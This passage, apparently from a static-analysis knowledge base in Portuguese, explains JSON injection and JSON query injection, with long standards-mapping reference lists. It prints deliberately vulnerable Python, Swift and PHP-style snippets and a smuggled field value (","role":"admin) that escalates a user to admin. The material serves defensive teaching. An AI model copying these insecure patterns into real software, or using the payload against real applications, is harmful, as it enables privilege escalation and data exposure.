[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.objc.json_injection
Abstract
O método grava uma entrada não validada no JSON. Essa chamada pode permitir que um invasor injete elementos ou atributos arbitrários na entidade JSON.
Explanation
Uma injeção de JSON ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.


2. Os dados são gravados em um fluxo JSON.

Em geral, os aplicativos usam o JSON para armazenar dados ou enviar mensagens. Quando usado para armazenar dados, o JSON é frequentemente tratado como dados em cache e pode potencialmente conter informações confidenciais. Quando destinado a enviar mensagens, o JSON é frequentemente usado em conjunto com um serviço RESTful e pode ser usado para transmitir informações confidenciais, como credenciais de autenticação.

A semântica de documentos e mensagens JSON poderá ser alterada se um aplicativo construir JSON com base em uma entrada não validada. Em um caso relativamente favorável, um invasor pode ser capaz de inserir elementos estranhos que fazem com que um aplicativo lance uma exceção durante a análise de um documento ou solicitação JSON. Em um caso mais graves, como aqueles que envolvem uma injeção de JSON, um invasor pode ser capaz de inserir elementos estranhos que permitem a manipulação previsível de valores críticos para os negócios em um documento ou solicitação JSON. Em alguns casos, a injeção de JSON pode até mesmo provocar cross-site scripting ou avaliação de código dinâmico.

Exemplo 1: O seguinte código python atualiza um arquivo json com um valor não confiável originário de uma URL:


import json
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs

url = 'https://www.example.com/some_path?name=some_value'
parsed_url = urlparse(url)
untrusted_values = parse_qs(parsed_url.query)['name'][0]

with open('data.json', 'r') as json_File:
data = json.load(json_File)

data['name']= untrusted_values

with open('data.json', 'w') as json_File:
json.dump(data, json_File)

...


Aqui, os dados não confiáveis em name não serão validados para aplicar o escape de caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente alterando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory anexasse ","role":"admin ao parâmetro name na URL, o JSON se tornaria:


{
"role":"user",
"username":"mallory",
"role":"admin"
}

O arquivo JSON agora é adulterado com dados mal-intencionados e o usuário tem acesso privilegiado de "admin" em vez de "user"
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.json_injection
Abstract
O método grava uma entrada não validada no JSON. Essa chamada pode permitir que um invasor injete elementos ou atributos arbitrários na entidade JSON.
Explanation
Uma injeção de JSON ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.


2. Os dados são gravados em um fluxo JSON.

Em geral, os aplicativos usam o JSON para armazenar dados ou enviar mensagens. Quando usado para armazenar dados, o JSON é frequentemente tratado como dados em cache e pode conter informações confidenciais. Quando usado para enviar mensagens, o JSON é frequentemente usado em conjunto com um serviço com reconhecimento de REST e pode ser usado para transmitir informações confidenciais, como credenciais de autenticação.

A semântica de documentos e mensagens JSON pode ser alterada quando um aplicativo constrói o JSON a partir de uma entrada não validada. Em um caso relativamente favorável, um invasor pode ser capaz de inserir elementos estranhos que fazem com que um aplicativo lance uma exceção durante a análise de um documento ou de uma solicitação JSON. Em um caso mais grave, como aqueles que envolvem uma injeção de JSON, um invasor pode ser capaz de inserir elementos estranhos que permitem a manipulação previsível de valores críticos para os negócios em uma solicitação ou um documento JSON. Em alguns casos, a injeção de JSON pode provocar cross-site scripting ou avaliação de código dinâmico.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.scala.json_injection
Abstract
O método grava uma entrada não validada no JSON. Essa chamada pode permitir que um invasor injete elementos ou atributos arbitrários na entidade JSON.
Explanation
Uma injeção de JSON ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.


2. Os dados são gravados em um fluxo JSON.

Em geral, os aplicativos usam o JSON para armazenar dados ou enviar mensagens. Quando usado para armazenar dados, o JSON é frequentemente tratado como dados em cache e pode conter informações confidenciais. Quando usado para enviar mensagens, o JSON é frequentemente usado em conjunto com um serviço com reconhecimento de REST e pode ser usado para transmitir informações confidenciais, como credenciais de autenticação.

A semântica de documentos e mensagens JSON pode ser alterada quando um aplicativo constrói o JSON a partir de uma entrada não validada. Em um caso relativamente favorável, um invasor pode ser capaz de inserir elementos estranhos que fazem com que um aplicativo lance uma exceção durante a análise de um documento ou de uma solicitação JSON. Em um caso mais grave, como aqueles que envolvem uma injeção de JSON, um invasor pode ser capaz de inserir elementos estranhos que permitem a manipulação previsível de valores críticos para os negócios em uma solicitação ou um documento JSON. Em alguns casos, a injeção de JSON pode provocar cross-site scripting ou avaliação de código dinâmico.

Exemplo 1: O seguinte código Swift serializa as informações de autenticação de conta dos usuários não privilegiados (aqueles com uma função “padrão”, em vez dos usuários privilegiados com uma função “admin”) para o JSON a partir dos campos controlados pelo usuário usernameField e passwordField:


...
let jsonString : String = "{\"username\":\"\(usernameField.text)\",\"password\":\"\(passwordField.text)\",\"role\":\"default\"}"


Ainda assim, como a serialização JSON é realizada usando interpolação, os dados não confiáveis em usernameField e passwordField não serão validados para realizar escape dos caracteres especiais relacionados a JSON. Isso permite que um usuário insira chaves JSON arbitrariamente, possivelmente mudando a estrutura do JSON serializado. Nesse exemplo, se o usuário não privilegiado mallory com a senha Evil123! anexasse ","role":"admin ao nome de usuário dele ao digitá-lo no campo usernameField, o JSON resultante seria:


{
"username":"mallory",
"role":"admin",
"password":"Evil123!",
"role":"default"
}


Se essa cadeia JSON serializada fosse então desserializada para um objetoNSDictionary com NSJSONSerialization.JSONObjectWithData: desta maneira:


var error: NSError?
var jsonData : NSDictionary = NSJSONSerialization.JSONObjectWithData(jsonString.dataUsingEncoding(NSUTF8StringEncoding), options: NSJSONReadingOptions.MutableContainers, error: &error) as NSDictionary


Os valores resultantes de username, password, e role no objeto NSDictionary seriam mallory, Evil123!, e admin respectivamente. Sem a verificação adicional de que os valores JSON desserializados são válidos, o aplicativo atribuirá incorretamente os privilégios "admin" ao usuário mallory.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 91
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[8] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - OWASP Top 10 2017 A1 Injection
[16] Standards Mapping - OWASP Top 10 2021 A03 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.swift.json_injection
Abstract
O aplicativo realiza uma consulta JSON com dados não confiáveis que podem permitir que os invasores consultem partes inesperadas do documento JSON.
Explanation
Há diversas tecnologias que fornecem a capacidade de navegar por documentos JSON usando uma sintaxe de acesso semelhante a uma árvore. Usando esse tipo de passagem de documento, um adversário pode consultar as partes de um documento JSON às quais ele não deveria ter acesso.

Exemplo 1: O código a seguir usa uma palavra-chave definida pelo usuário para acessar um documento JSON que contém detalhes públicos do usuário, como nome e endereço, mas o documento JSON também contém detalhes privados, como senha.


$userInput = getUserIn();
$document = getJSONDoc();
$part = simdjson_key_value($document, $userInput);
echo json_decode($part);


Como userInput é controlável pelo usuário, um usuário mal-intencionado pode aproveitar isso para acessar quaisquer dados confidenciais no documento JSON.
References
[1] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[2] Standards Mapping - FIPS200 SI
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[10] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - OWASP Top 10 2017 A1 Injection
[17] Standards Mapping - OWASP Top 10 2021 A03 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
